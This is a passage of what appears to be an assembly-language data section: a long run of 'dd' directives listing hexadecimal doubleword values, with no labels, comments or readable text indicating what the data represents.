0C62A9C4h, 555EF731h, 22000C14h dd 23BD6F9Ah, 0B82B1939h, 0CDE93ABDh, 4E88CF5Eh, 2C4F3B2h dd 52C2130Ch, 860B7D9Dh, 18FE455Dh, 4C4B0E45h, 0F20B9C2Dh dd 0AFACBE16h, 0B0FC9C5Fh, 548B60DEh, 9E7F87BBh, 4A77E4C2h dd 0BDF7071h, 12C5439h, 0BD314F02h, 9DAFC09h, 0BA5DE050h dd 2D2FC0CFh, 0A2350D9Dh, 3BEE8DE9h, 87E1C6E8h, 1614C242h dd 0AAC017E9h, 0D5C29492h, 0D04F1EE4h, 95355903h, 97BF91Bh dd 0F3FBE744h, 179909F5h, 0E410DD22h, 799F6AE4h, 0EDC48DDFh dd 0EF74D0B9h, 70779B25h, 7267A1DDh, 0F1E7F7C2h, 0F0B9BA9h dd 0CB18AE17h, 41254843h, 3D2D81A5h, 0DBE45FEFh, 0CA73D2D5h dd 0B3EA9273h, 10EF5847h, 0F06734Bh, 6D58F385h, 24625A24h dd 8051B260h, 0B47F00C2h, 0F2815975h, 790A15CDh, 855B5268h dd 96B3542h, 84ED29E3h, 4A7EE8E2h, 87C730A2h, 0BEE380D3h dd 56B80567h, 1CDF35Ch, 860F7A85h, 0CA3ED59Eh, 74E01862h dd 543BD3Eh, 0C14C8F6Ch, 81830EE5h, 1B2DABD2h, 0AB084F7h dd 718F0FBFh, 0B2462C74h, 644B144Dh, 1B3D1FBh, 0EDCA6E0Ah dd 6D963028h, 600D0632h, 0BE800D68h, 2F4A16ECh, 5593B225h dd 1F912AB2h, 0B3A4FE9h, 0D1F35509h, 2CFB76EEh, 9559E988h dd 2AED4E98h, 2B946882h, 5716E9F1h, 417A0D0Fh, 0C9E97E3Ch dd 9D0EE82Fh, 41F03A75h, 8CED0751h, 4B40E9BAh, 22121466h dd 93047F55h, 3DBF3EA3h, 48C56D8Dh, 67997338h, 0C8685780h dd 7F502C32h, 0E25E2A5Fh, 98C104E1h, 0BB209336h, 0E087D3C5h dd 0B5D57819h, 1EF075FEh, 0AA28D3FDh, 0D95A5393h, 0FF2D3936h dd 30205D12h, 85B35357h, 0C9DA8826h, 6712D012h, 0BDBA6184h dd 0B551E133h, 2567B6E8h, 0C8F4B9E9h, 0B38172Fh, 36C06EE9h dd 6D1E05BBh, 0A69261FBh, 241229FDh, 9C0FCC4Ch, 794A1C98h dd 0D35C1372h, 496927C5h, 102D2A9h, 0ABB360D6h, 76D5280Dh dd 9D9A2085h, 44AA2D4Bh, 0BF4ACCEFh, 7266758Ch, 3BD39455h dd 7D0F715h, 860AE85Bh, 9036862Dh, 75F201CDh, 29EC3792h dd 0B2C06ED1h, 4F21064Bh, 58A3A013h, 0C3DC1141h, 74312E68h dd 75C2CFA5h, 3CFE2F9Fh, 6D005A26h, 0E90F4F0Dh, 3B2459B6h dd 5BE6EE7Eh, 21EFD73Ch, 0EF7BF406h, 0D700EB83h, 278E7559h dd 0A205C829h, 63F1FF07h, 0C7F8E904h, 0B2B477EBh, 47FD62A7h dd 0E42DEFh, 207E72B7h, 0B0EA4439h, 0DE972670h, 84F5C11Eh dd 2A15F5A1h, 0F9CCCFF5h, 728A0B3Fh, 57FC201h, 4F840F77h dd 0A8EF9700h, 0A063EE48h, 808C08ADh, 5959E830h, 9E8C9F28h dd 0BA1C53h, 6D1608B1h, 1A800F42h, 0FD070BB7h, 2EBE6B8h dd 0CD160BE1h, 824E9416h, 0C961EBBBh, 6F4581EAh, 6011E620h dd 6BED5720h, 0F6D118D3h, 0F9150026h, 76FF4B98h, 0B6B07607h dd 5DC8825h, 77B1A9AEh, 136DAB2Fh, 82BFE330h, 60B16691h dd 7DBEC881h, 0A2794942h, 0D70B36BDh, 0F4B7359Ch, 6A147931h dd 0F4B9E01h, 0C434ED8Ah, 7701B843h, 0FAA5D249h, 0F1D1B7C9h dd 0DC9DBD08h, 6C310904h, 417BA57h, 7FECDE51h, 0A74BA84Ah dd 689BDBE2h, 0F6685214h, 13032538h, 0AB42C40h, 4E399420h dd 0FB5716BBh, 6012A519h, 0E3D8A4EAh, 5FEB9CFAh, 66134EB4h dd 27259AFFh, 0D03FD602h, 0EAE4D530h, 0C28608C3h, 0F8819C50h dd 0AAFD0F6h, 28B71BE5h, 8C68D5E0h, 5BE0A823h, 0BFAA8362h dd 5295A878h, 0EFEE5A60h, 20DDBD10h, 0C5301537h, 51412D66h dd 0A749EFC1h, 0FFC269D5h, 0AA20FEC4h, 0FB6812FDh, 0DD8E8C15h dd 2BDC1A4Ah, 0A5549F51h, 524EE941h, 8040416Bh, 0D8306140h dd 230D94C9h, 0A6E90991h, 0A37F0C65h, 3F29848Bh, 80663DABh dd 80BA5264h, 0F205591Eh, 0AE59DD1h, 0BB534980h, 58055733h dd 0DA16B250h, 8704AF2Dh, 0B9000F18h, 4762653Eh, 68515001h dd 52A315D8h, 44DCA720h, 6B09F1BFh, 0D472E432h, 0E880C0Ch dd 7A09C71Bh, 0DD78B63Bh, 25087728h, 0E93727C6h, 0DD7733EAh dd 0A3E7D472h, 1713F6AFh, 0BB36E5F3h, 9F0CDD68h, 0F49815ECh dd 1562E20h, 1C748BB8h, 0D43B050Fh, 0F7B83A10h, 0A0E9080Ch dd 77B46AECh, 0FEAD5970h, 890D444Fh, 0D1B91315h, 49973079h dd 0E6CC8054h, 3BA6529Fh, 4CFF305Bh, 0DE840BB1h, 34AB17B3h dd 0E5B10078h, 0F343970h, 0CF308416h, 90F2D0BDh, 4255AA49h dd 9AF741ABh, 13399068h, 0F1D6A8B2h, 6152D6Dh, 83242158h dd 35BBF39Fh, 9880E9C3h, 1EE7308h, 4FB85035h, 610A421Fh dd 93E14207h, 2F685C01h, 4C29F54h, 8198FC4Dh, 6B0266A2h dd 0CDC27F47h, 62EDD9B3h, 0D622446Dh, 87590566h, 6377D1A7h dd 8B4A800Bh, 21759703h, 0EDEB0FEh, 0D50EA2EEh, 7506EF52h dd 62FD91E9h, 282FCE01h, 0FD289275h, 3BF3A648h, 4D23F505h dd 81C2DE31h, 62005C0Bh, 82902ADDh, 3180FAD2h, 0D898BDC3h dd 59132A68h, 3EA818DFh, 70B951B0h, 0E384403h, 25FE23E9h dd 46868644h, 7D5A9C88h, 85CDCE40h, 0B0496947h, 4A284A87h dd 9F9DD67h, 36FD5891h, 0AA9229D8h, 3D7A01D3h, 0F1521C08h dd 82DF54D8h, 975C5DEh, 0A9D1D772h, 718236C2h, 526800CEh dd 5F4B8C48h, 768FF8A0h, 7456052Dh, 84081FB1h, 0FB09858Bh dd 120212A0h, 0FA2B106Ch, 291862B6h, 2579B6C5h, 4A44FF2Ch dd 77351E09h, 0DD97B864h, 0E9184E14h, 0C7D507A6h, 1E4BFA79h dd 0EDC568E0h, 0FB750746h, 919FEC95h, 0DA086B7Bh, 0EC3616B6h dd 3A083E5h, 0B4C5D741h, 0C828FD40h, 0E2C0B252h, 800703E2h dd 0DAF6B0CAh, 4357D292h, 578A9297h, 28599440h, 7961D85Ah dd 6D7C632Fh, 58322A1h, 80A144FFh, 0CDFE000Eh, 0A847C368h dd 9618B368h, 7FE941AEh, 130ABD32h, 4CB820A9h, 1A5551CBh dd 0C07AD191h, 8E0FE95Eh, 2FD489Dh, 0E7FC8295h, 760B4087h dd 9727FB9h, 58C3891Ch, 238ADED2h, 7FA13260h, 0D89D34C0h dd 0D771A053h, 8B38586Ch, 4C82B676h, 0BD404E54h, 307D12BEh dd 0DEFC1CF9h, 0EDCABD49h, 0D19384C7h, 7BC8BB00h, 9EF43301h dd 0C1AD0C62h, 53B960E1h, 908F82D3h, 89911A0Ah, 0E2DEA2DFh dd 91EB2950h, 0E3FA088Eh, 3D084F26h, 58AF3DEEh, 890F4740h dd 16128835h, 0C578F3EFh, 7A82D501h, 209982FDh, 0CFCD429h dd 42516EFAh, 9DEE05F7h, 30CF4BBh, 68D3CCA8h, 1908D631h dd 272B2EB3h, 41A9829Eh, 0F9C7FE03h, 8B3DDAECh, 0FA3A9012h dd 71E3F527h, 0F6B1034Eh, 3FDB78F1h, 581459D9h, 0F06A75C0h dd 3800E043h, 2D07610Ch, 0B04A12EAh, 80E5136Dh, 7A0E0D5Eh dd 1EC2315Bh, 0E9C67D0Ch dd 7E622CF0h, 5D05DDE5h, 55854DD4h, 8EA15D56h, 4002E04Bh dd 2D09E957h, 0B0D6655h, 1BDC6853h, 0D7692671h, 15E226D9h dd 56369FCh, 4E9C4AFCh, 9EC917Fh, 0F6FA05E4h, 8A26992Fh dd 5BD5E310h, 0FD7ACA28h, 656DC931h, 0DDA52764h, 5BC385F7h dd 5CF390BBh, 3EF9EEE0h, 5A42C3F5h, 80BD512h, 901434FDh dd 0EFA2575h, 6EF38E69h, 0B8F774F5h, 98500ACBh, 7AC195ABh dd 0ACF57553h, 9738542Ah, 8BB8FC49h, 6038B34Ah, 502F52E8h dd 0F929345Eh, 7E081F80h, 5309F24Dh, 259931B7h, 8A844228h dd 8001CC66h, 0B6524FF7h, 5AD83047h, 5BFC3E08h, 226EC17h dd 0F588584Bh, 0E978C9D4h, 0F60F4055h, 0CFFEDF19h, 3830D752h dd 254762B1h, 0B7026260h, 812E409Ah, 0A6A1D47Ah, 71D64E02h dd 0B5FED3F7h, 77520613h, 0A04381EEh, 0F6207E99h, 48512968h dd 1926814Bh, 87D4AF7Fh, 4E89F5A5h, 0C54412DCh, 0B33BB907h dd 6DD21A4Eh, 21E549F5h, 0B84B0478h, 10AA9382h, 97507ECh dd 14FB6FCDh, 64A59E2Fh, 40D4A8F7h, 48EB1AEBh, 3D1233FEh dd 2FFD2E4Bh, 1CAF0841h, 905B0224h, 4A26680Dh, 69F27FE1h dd 5345AAA4h, 24EFCB28h, 629B018Fh, 4209D571h, 0BBF94AA6h dd 1B10C42h, 0C02C24B8h, 0C226290Ah, 5A123F58h, 39487CA3h dd 0E119164Bh, 5F66D897h, 6930DBB7h, 4B304455h, 0EFCE8501h dd 0B420B52Dh, 65F1B73Bh, 347AA66Fh, 710D0038h, 51B6B79h dd 9A4C2E7Fh, 0D5BD315Ah, 2E93EC30h, 0B6F7C446h, 3A9C8489h dd 0C76157D9h, 0CB31108Ch, 45414E42h, 0E024A12Fh, 0D9BD1F63h dd 0EC759319h, 0CEBE4A3Fh, 26A250C3h, 0DE1F98BDh, 0C4609935h dd 48BCBE58h, 2AF7E9B1h, 0D8CD1B90h, 55F92841h, 17BBD2D5h dd 41C5BA76h, 18B259C1h, 0DBD992ADh, 55D0676Eh, 56E3C567h dd 552858B9h, 384FE12Eh, 5AD12882h, 0C540C1FEh, 23DE120Ch dd 76E9D704h, 3A48E6ECh, 86050325h, 0E1BC1350h, 63E96BF9h dd 181A2E86h, 0C5D27EBDh, 6B5CA8FBh, 0CB704048h, 73788277h dd 39243A34h, 189EA2FEh, 35161083h, 657E31D6h, 72CCFC7Ah dd 7FEB27CBh, 96847888h, 0BE16857Bh, 525D29B7h, 4D5F6909h dd 0D400D789h, 0A654E963h, 12C0FAFEh, 0F87602F2h, 1DD89765h dd 0ED2D342Fh, 85019D1Fh, 0BB2F57E9h, 2DA68E44h, 5A8CEE56h dd 8542B71Ch, 245AD0DDh, 87A5B7D6h, 92AD5651h, 5A7D54A2h dd 0A0F69FB2h, 0E04449A6h, 9BB82B91h, 95332DE4h, 2AF555A1h dd 2282708Bh, 5D979FB2h, 4B0B0934h, 59DCE7E9h, 0A3C24918h dd 0A0B8B756h, 0A2664F21h, 1F51095h, 0E7A68C50h, 0B98FF784h dd 47F012EEh, 8F3FE331h, 36833D02h, 272E7101h, 42C29989h dd 0B867DBDDh, 40B328AEh, 2BD43C69h, 3570EEB0h, 58C8F69Fh dd 3AE14D99h, 64A220BDh, 0FBDD814Ah, 2D923E24h, 0DEFC4EA8h dd 0E3DD0E6h, 0F0215A01h, 0AE8C15Eh, 6DAA3Eh, 0DF54D702h dd 0B5EE1296h, 0F4B9596h, 6012026Ah, 0CBDFC029h, 0D33F01CFh dd 378C0F34h, 0C9A82B7Ah, 8F72F087h, 16A8E431h, 85010741h dd 739D55E2h, 5992CCE5h, 58BF5C8Ah, 400940A2h, 0A84CD69Fh dd 34C83971h, 73566025h, 0A880CC13h, 285E6325h, 1D911D1Bh dd 405A0875h, 0A5F9D857h, 360BCE9h, 3828EF43h, 94765EDEh dd 8D08160Eh, 0F13D7A1Bh, 0A83865FDh, 1715B7C4h, 20CD2DFFh dd 0D8B50D05h, 3D7395D2h, 0C910F4CBh, 0EE68B9E8h, 9C893B9Eh dd 0EF8A54F8h, 4D70786Bh, 42DB73BFh, 90F73670h, 5ED8DE7Bh dd 8FABA921h, 400DC558h, 0F21A7C7h, 33699D82h, 0E1748718h dd 69589468h, 1FF9D219h, 0E902BA25h, 8DE1C188h, 483B9D65h dd 92ACF965h, 10C0866Dh, 7A85D697h, 97A6525Dh, 8434BE5Dh dd 0ACFA9D82h, 10CC5B90h, 30BD7B4Ch, 31FA43F2h, 0B0FA5DEAh dd 53E4494Fh, 9CD95DF4h, 0D154743Bh, 8A5704E6h, 0FF3150FAh dd 0E0003E2Dh, 1A555494h, 98FD0128h, 0D5290801h, 0EAA06F5Ah dd 97F7E65Dh, 806B537Eh, 6C206577h, 0E9DF0B87h, 2710F35Fh dd 37268B89h, 68020A9Bh, 7F769F5Bh, 9D357900h, 0F6B83A60h dd 33A2E030h, 0F23D67F6h, 597BE61h, 0BE472703h, 165AE109h dd 0DBE927F9h, 159BFC2h, 136273Dh, 0CA9689Dh, 7A56EE4Ch dd 610A3A66h, 0C14B5E3Bh, 6F3BABAEh, 8F9ABE49h, 7ECB1E0Dh dd 59EDA5Bh, 7161C7Ch, 47A5BB48h, 27E38AD4h, 625DF8E9h dd 0DD595D7Ch, 4EE40549h, 0AA28C844h, 53C1998Ah, 2A01BD55h dd 0F222D444h, 0E9A168FBh, 5A6E8F59h, 0A1F5AFBDh, 0E990586Dh dd 2A171334h, 0BA3384FEh, 0E985B0A2h, 2FF2A1B1h, 4309531Eh dd 9612C667h, 2E558B60h, 0E150A756h, 0BADB958Eh, 0EE69CF8Bh dd 2E517CCFh, 8E3846B9h, 0D6A407B0h, 2F58E889h, 570742BEh dd 657A9D7Ch, 97B0C28h, 55EEBB7h, 0CCE017C1h, 48208E6Fh dd 0BF1B0533h, 0B482DC73h, 8D0F0014h, 0D19567D4h, 371F88D3h dd 2DD58905h, 0ABDFD4EFh, 8B149481h, 3C580102h, 2597EF20h dd 0EBFD5456h, 0D6EA27B5h, 0BAE609A0h, 4A487829h, 932D3A7Eh dd 20FA0EBEh, 0ABCAC022h, 89B9074Ah, 0B215C312h, 50F94065h dd 58096842h, 8310C201h, 5EA8CD9Dh, 0C895D98Eh, 0E2FCB9Fh dd 8775B960h, 9CD1F7C5h, 3D5B5F07h, 615A6EA7h, 8B686A3Fh dd 5158C2EDh, 6C1969BFh, 2DEB2FC2h, 0E514AF8Eh, 0D97F4D1Dh dd 65E32B14h, 0E7D29Ch, 1021C0D2h, 2D34485Bh, 81BF0DBBh dd 0A01493BAh, 0B4A2A28Bh, 217214FDh, 11BC6053h, 0AA5B0782h dd 8E14B468h, 0E9535006h, 203D18AFh, 579559C8h, 0FFC91C21h dd 0E8B9C8FEh, 171736FAh, 31FACE89h, 8E38E9D0h, 0FF575B7Dh dd 32E2CEB9h, 84A94A7Fh, 0EE7CC049h, 447D304Ah, 0B9D95F8h dd 1C723F5h, 0DE7A1CF1h, 91DA447h, 59579C9Eh, 8ACA2E97h dd 0BBEA2172h, 7164EF27h, 0E8D50B24h, 119C5C64h, 0AC065ECFh dd 19BEA048h, 0E68331Ah, 0D6B0EC9Ch, 0F2122977h, 0EF43FCE9h dd 9A52D388h, 2D975EDAh, 80F45D14h, 5216C501h, 12E996B6h dd 0EBB4852Fh, 357EFCB7h, 0BB1CF617h, 0CCDE3C1h, 3A9ED5E1h dd 3F3D3FF5h, 0CDF9E693h, 0D68F51AEh, 0C313932Fh, 6A2AE309h dd 0CE6AD7EFh, 7897Dh, 80641FC7h, 51E9104Ah, 0F0B80211h dd 0FD423203h, 5608A948h, 0CA1D68FEh, 59C0941Ah, 0D732F181h dd 93AFD29h, 1483311Eh, 0D10179E5h, 0BE5430C3h, 0C42A293Ah dd 0C081905h, 586C97C1h, 1EA5D82Dh, 7083227Fh, 2BF70B73h dd 0A99175D7h, 7628386Ch, 0FE876825h, 0BB37C2A4h, 0A9E5750Bh dd 0FF1ABFBBh, 6062908Ch, 0E52D4422h, 9E260717h, 520F0089h dd 641EE65Fh, 685B0A34h, 42370AF3h, 0FA653994h, 2C3830Bh dd 9422E1Dh, 0C6F90255h, 8803C77Fh, 8816CDF3h, 439EBC09h dd 0BEECED59h, 772168C2h, 2B2E5248h, 0A708EA93h, 0B0066B60h dd 660242D4h, 0B0505152h, 79D97F91h, 75C68889h, 0F9A6410Eh dd 7E20865Bh, 7240095h, 0D0F6C0FEh, 30261304h, 245371C1h dd 0E1EB678h, 0F10996EEh, 680464E8h, 0BD295D80h, 0CB4A33D8h dd 65F57852h, 9309FB6Ch, 0E82F125h, 2DD05FFBh, 20976C97h dd 8EFD0AA8h, 3FFEDB4Ah, 93250FA8h, 92205B71h, 6485AE5Ch dd 2FB36F02h, 5DD442DBh, 5E9D327h, 871E88D4h, 0E281DA01h dd 105539BEh, 9FE0C5FFh, 50B8045Eh, 0EE241E6Ah, 0F480D01h dd 472B7E8Ah, 0B63B790h, 5FAACEF5h, 0BBEF1610h, 4E15F0CAh dd 0BD028E72h, 42F64D5Eh, 1565F25Fh, 0F6502AE9h, 9F7EDB05h dd 65CC1F63h, 0DA290883h dd 29F569BAh, 4D320089h, 60528F0Fh, 0BEF58D16h, 5C16956Fh dd 0AB97A4E9h, 417663h, 9B69EE97h, 0F729A75Eh, 0FEC2E4E9h dd 7AF0117h, 802BDB5h, 98B5EC5Fh, 7A445D00h, 59DD56C9h dd 0BB510C8Ah, 29ECEB67h, 68363106h, 25213D6Eh, 0B95FE687h dd 0B52E2D30h, 27EED439h, 291D7600h, 53E952C8h, 4F9FB163h dd 0EA215E65h, 0C428509Ah, 2D5D000Ah, 543F45E0h, 0AEC0D029h dd 68F11F4Ah, 0A9EE2FE9h, 246FD774h, 44FABFE0h, 0ABF7869Bh dd 1D4111C9h, 59A52A79h, 1008D279h, 96D52785h, 0B189541Bh dd 0AD5C97C3h, 7046E906h, 0E6FD7733h, 82B207h, 0BC2D59CFh dd 553773Dh, 0D23CA80Fh, 695F416Dh, 0C43E237Ah, 28071F48h dd 1B44F511h, 0F08CACAFh, 97FFDD1Bh, 525039DFh, 315D8h dd 0CA810D38h, 76B1C11h, 20F84A4Eh, 16794D4Ch, 0BD5A5B0h dd 0E47E5375h, 8851FD58h, 22CBCADDh, 5163D7BAh, 41D020D2h dd 5F69BB07h, 29A56C4Ch, 0BD3FBFB1h, 57D78464h, 0DBCAC2FCh dd 8100AFBAh, 0E038D4C7h, 0EF003176h, 0C8A71472h, 0F0E9F989h dd 5C52C58Fh, 1203E756h, 39EBF1C8h, 0BAF2FFFh, 24D09C00h dd 50C95995h, 8B884DA1h, 0EC3EE116h, 6657A05Fh, 5B204C5Bh dd 4FBDF32Ah, 0CE54B75Fh, 0B109A3Fh, 0EB8F75F2h, 9770984Bh dd 0BE154B7h, 0F45A1E15h, 0F96D84C2h, 0E1EDCFEh, 40618103h dd 6984AF27h, 11BB5BE3h, 100408DBh, 5F010DF9h, 920C4414h dd 482CE10Bh, 2440230Dh, 427833B9h, 20BFC89h, 57B7ACBCh dd 8D833498h, 0E92FDE95h, 6848FD66h, 0A3BC5AE8h, 6FEA01B1h dd 68C4DAB2h, 0E9C9D1A0h, 300E250Fh, 615F3FFAh, 9F0382A3h dd 8B4F792Dh, 0EEF8ABC4h, 689561B9h, 805B0030h, 0E5C01AF5h dd 44979803h, 6509C586h, 85AE026h, 820B025h, 54A21CC1h dd 0F77D2BECh, 2687A25h, 1F1E94C3h, 91DA2FA5h, 61F785B9h dd 7A316105h, 0B0A524D9h, 1220AAD2h, 0DD313E49h, 24E49F6h dd 0E5B75300h, 0F8287A2Ch, 34900474h, 7EB8E915h, 56E01EC5h dd 0DBDD810Bh, 66CA58Bh, 7C82E74Eh, 2CDBFBADh, 0DB072FECh dd 57F4520Dh, 14900150h, 0F6256C09h, 2586743Ch, 275B44DFh dd 83E25CE9h, 0A188FBFDh, 69410BD1h, 0D4211E9Ah, 84CB27E9h dd 0A9174271h, 536A4081h, 0C4DB57C2h, 33627DA5h, 86C4D357h dd 1C4868E9h, 7B37FDE9h, 0E505EDA3h, 0C2304F34h, 0EC5F28E7h dd 0C7E59022h, 2780EB16h, 0AFC6EA69h, 0F4A1168h, 85AB8D4Bh dd 67A2AFB1h, 0C1F001D2h, 0F4D011A9h, 0EC4028E9h, 6CC63980h dd 0BF6FCE93h, 0D831A4A5h, 843F6BF5h, 0B1B6ABC3h, 0A776FA24h dd 0D12037F0h, 0E3892859h, 0B7ACA0DFh, 0EC64950Ch, 1140CF0Bh dd 0EEDE40Bh, 0FE4CCC80h, 97208A74h, 10EB0506h, 5EFD63CEh dd 0B8F4BC52h, 1C623AE9h, 0C101198Dh, 0D40807E6h, 2D98D01Ah dd 233D1FFDh, 60172D6Eh, 0A097BF4Dh, 0E24F70C7h, 4F75A87h dd 0E867B047h, 294EC640h, 20C10F7Fh, 0AF72064Fh, 3CEACFA4h dd 0CE0636Ch, 34C71364h, 0CC278098h, 0F96C5DFFh, 772DC37Ah dd 1E9783Ch, 6D3370Ah, 2F3FD9E9h, 1C9E68Ah, 97B26477h dd 0D5252C7Ch, 1F90C6B4h, 0E3B33629h, 7769D900h, 0FA574502h dd 0E8054E94h, 3A568320h, 63C2A7DEh, 267BC5B0h, 0E2D4A5D1h dd 0B2DA02A5h, 89977617h, 0EA712906h, 0FEBC874Fh, 0C406DE19h dd 0F54C2118h, 1501EA5h, 3A7C5C9Fh, 871AAFCFh, 7FE9C2EFh dd 0E6CC508Bh, 0C30514Fh, 0B5A0FDE9h, 0F8AD5DDBh, 58C129EEh dd 3268844Dh, 74F2D83Ah, 25A66712h, 4A9DC0Bh, 0B1EF5502h dd 5D080357h, 70B41E0Eh, 0A0012860h, 231CD008h, 4EFFE912h dd 73C554CFh, 3A2CFA77h, 0C789045Fh, 0AA844FE9h, 0B3822A27h dd 510E7243h, 0C8FFE906h, 5E46CB81h, 212F837h, 0D6426DF3h dd 31AF7445h, 0F17F8B5Ch, 12BDC455h, 1160602h, 5E5DEF09h dd 69820C4h, 51D3A76h, 0F7207A29h, 0D5A4A240h, 2E5B6C69h dd 42553E6h, 93D4C4F5h, 0AFDE0FC4h, 1475AFBFh, 0E9581226h dd 3038A0E1h, 1AF0FD7Bh, 841FED58h, 660112A4h, 3A587A68h dd 0C40F67BBh, 3A128151h, 981F06F4h, 329A411Bh, 16AB4E75h dd 97ADBC8Ch, 0B09BC7AFh, 0CEFE40EEh, 3054514Ch, 5BD8399Ch dd 147E0005h, 422D276Fh, 0EF2447C1h, 0C0136B21h, 0ECE39D92h dd 4BB2A1D2h, 1C1A3FDCh, 252DF4E9h, 0A8D845DDh, 0B6549D28h dd 97E831F8h, 0AA4CEBD1h, 0C2099710h, 685097D4h, 0BE095451h dd 0A9024F4Ch, 6BCB85EEh, 0EE94FAD1h, 9729BB2Bh, 0F97A9961h dd 0A4F286C6h, 65823137h, 1942D0Bh, 457E5B5Ch, 0AD5184D6h dd 0A8E9E10Ch, 0BDBC0C2Ah, 67283DA6h, 8E0BA24Dh, 0D569E350h dd 75E5BD20h, 64769516h, 34039CF2h, 8950174Eh, 0E9C290E8h dd 6E7D5C2Ch, 3F5D0292h, 60405313h, 5A044A9Fh, 0E33E93Ah dd 0AE17C8ADh, 8B28BF5Fh, 17138419h, 6A77FEF3h, 0F514D5B2h dd 528B6879h, 0CCB14B44h, 476A5A0Fh, 0BBDE38D6h, 48904A64h dd 0E177A768h, 2639BF2Ah, 0FCBB5889h, 4536BD7h, 270EBEF6h dd 0ECA0FA5Dh, 9F63706Bh, 33D9B0F4h, 5C79C204h, 3A8C4775h dd 0D01DA738h, 21E1272Ch, 54500209h, 56686176h, 5674731Fh dd 0BB531F5Dh, 7ED41C81h, 0E12AE6E9h, 12F62EA1h, 1D9B2C17h dd 8B5B7A53h, 9BE84A79h, 0FC0F7D13h, 45CBA12Eh, 7A2AB67Bh dd 2DCE4949h, 7200C95Ah, 5C38213Fh, 0B4BB14A8h, 4A59E917h dd 0D0313D39h, 0F1ABCEA0h, 3C41C750h, 0FF3AED2Eh, 0A1847525h dd 0ABDB959Ah, 0FBD250A3h, 0D5A24262h, 1E77C442h, 53CED25Fh dd 62A804DDh, 2D139018h, 1E1F2237h, 4813D809h, 0A6AFE185h dd 9083208Dh, 213560A3h, 95329E68h, 427B7B7Bh, 0CA4E92CEh dd 0A538A366h, 8A1EC554h, 0B8BB5A64h, 0B151D805h, 0E1C0ABDAh dd 3A52C9FEh, 0C6ADACB6h, 518AC2B9h, 35D17EC9h, 74E97E8Dh dd 0F614137Bh, 19FDA2FEh, 0D03C12F4h, 318A0FF8h, 0C8814FC2h dd 0D42AA5FBh, 3CCA828Eh, 0D742107Ah, 95C558DFh, 79B705D0h dd 617D6B9Fh, 0E06E29E3h, 3EF359E5h, 5BBAE7D8h, 3A2CABD1h dd 0B584BFD5h, 505F05Eh, 502FD080h, 5BD1E3A9h, 0E9FD0F5Ah dd 0CC559F8Bh, 0B554B50Ah, 202EB3F1h, 186802CBh, 2D1B1462h dd 66530796h, 0AD480D5Dh, 4BCB06B2h, 28A2B46h, 37F451A2h dd 5378EAC1h, 1A14EC00h, 0E9DAF72Eh, 9D19909Fh, 4573B3F7h dd 0FF2AF8ACh, 6800932Ah, 2E84692Ch, 26002558h, 0F2BB254h dd 9E3D188Bh, 2328809Fh, 0D0317C36h, 0E9611B99h, 4D2A5D68h dd 52FA579Eh, 0A9F75CC0h, 9F2C469Bh, 0E9C1507Ch, 307920EFh dd 3D8E31CBh, 8905BC73h, 0BBD22042h, 5C17710Eh, 0C28641Dh dd 87C10406h, 0BF610220h, 0CB8EECA8h, 0EE5E76E4h, 0AFED5C9Dh dd 1E52C22Ch, 0FC3FF112h, 0B353E087h, 30899834h, 0DF5272Eh dd 949DFEF0h, 0B735FA98h, 0C5EEEE0Fh, 285831EBh, 30E1BF0Eh dd 0C90B3221h, 0C4CFA0Eh, 6CD561D4h, 2916C6CCh, 7AB4F47h dd 74FAD8D7h, 843315DFh, 0FDC4EB31h, 0E6820F81h, 4C085F82h dd 64F50279h, 2032BE19h, 4585F0Ch, 0BA2115E5h, 0B4E079F8h dd 255AB697h, 0BA4985h, 92C68088h, 0A74D23E9h, 97253BE5h dd 7A9E0E2h, 0DE280C0Fh, 54408D49h, 425A6E68h, 0E613F8F3h dd 40E3E304h, 5A5EC0A5h, 0BE17C8B3h, 0E1204427h, 6161EF6Dh dd 0C93DE833h, 77D3792Ah, 2014B054h, 0BA0035D1h, 31BF749Bh dd 5B8C281h, 0E90BCB58h, 7BE8A146h, 8984ACA9h, 0A2CEECAh dd 74344F99h, 0BA5209EAh dd 38B4A95Eh, 1A195ECh, 1D9296CDh, 0E793FEF6h, 68086234h dd 456C5D14h, 7000964Ah, 0ED8040B7h, 0EAFDE0D8h, 62FBA0C5h dd 6C599FF9h, 0B878C28Ah, 28905367h, 0B512DF11h, 78847180h dd 0F5C6DAAh, 82175FF8h, 2348AEAh, 860945BEh, 8954006h dd 1A5B245Ah, 0B2542D76h, 4996F525h, 70026816h, 407D69CCh dd 0C24E0844h, 0EABA81AAh, 0D33F20E7h, 5FA51996h, 8C0F6BC0h dd 0FF25072Ah, 5B063138h, 0F3F960FBh, 3F04E4C1h, 6106E998h dd 9E44EDAFh, 32E94DD3h, 0C730FE5Ah, 181C6F09h, 368829E9h dd 3D90D328h, 0C380CB0Bh, 1B135D56h, 2264C7ACh, 11D03CE9h dd 8CF0599Dh, 0E1BBC003h, 8C1ADD01h, 4E856832h, 0EF6C8C3Bh dd 56724105h, 98BBD3F7h, 8718DF10h, 4CCC5FFBh, 8C51638h dd 0E573004Bh, 48779A3Eh, 2716BD90h, 11010283h, 31EF0824h dd 3B5A907Eh, 3190D4FEh, 649FAB72h, 0C164BF70h, 0DC195B2Dh dd 0B6AC07Fh, 0E6798177h, 5C05CC90h, 8D84830Fh, 0FD7CD9EEh dd 0F408138Eh, 0F05675BBh, 6B4F0173h, 58F18DACh, 5BC27456h dd 979A9490h, 22FD6CB7h, 0B6D77B1Ch, 597672EFh, 0AF9BB0DFh dd 837782F7h, 58203070h, 0A36FEF97h, 685801B7h, 450947C7h dd 5AF002E4h, 0AFF8A516h, 139DE916h, 7E6572AAh, 10251DF6h dd 0C858163Dh, 1408EACFh, 32D62F26h, 0A83C4B78h, 9D94AB97h dd 0FF5AB0FCh, 0CD1F6F50h, 62572628h, 0C3E56090h, 17D4B64h dd 6F534C60h, 8B0C8007h, 1033E37h, 0A9E8B7EBh, 984F48E9h dd 0AE4A3FE3h, 3CD53C1h, 32228E7Bh, 544CD4F2h, 0B8918C8Dh dd 0D24878B1h, 2BAC81C0h, 0E8403950h, 5BF5573Dh, 6710EF5Ch dd 5505108h, 9BD0EE14h, 0C4FEEEA0h, 0FC5D304Eh, 780DC93Ch dd 6259957Eh, 505189h, 635EA085h, 92C9074h, 0EA42AB36h dd 89950557h, 481062AEh, 572A40E0h, 19F30580h, 17475D42h dd 0AD8A7E44h, 5671EF4Ah, 0B1395A7Fh, 8C868C2h, 0E908B05Fh dd 0A7A75F25h, 89FE4E41h, 0ED454348h, 3E5CF03Bh, 0D812DDD3h dd 63C95DCh, 0EF814B75h, 0C9BF0D91h, 13757ACAh, 2F9BA500h dd 0F722138Ah, 0E3801AD0h, 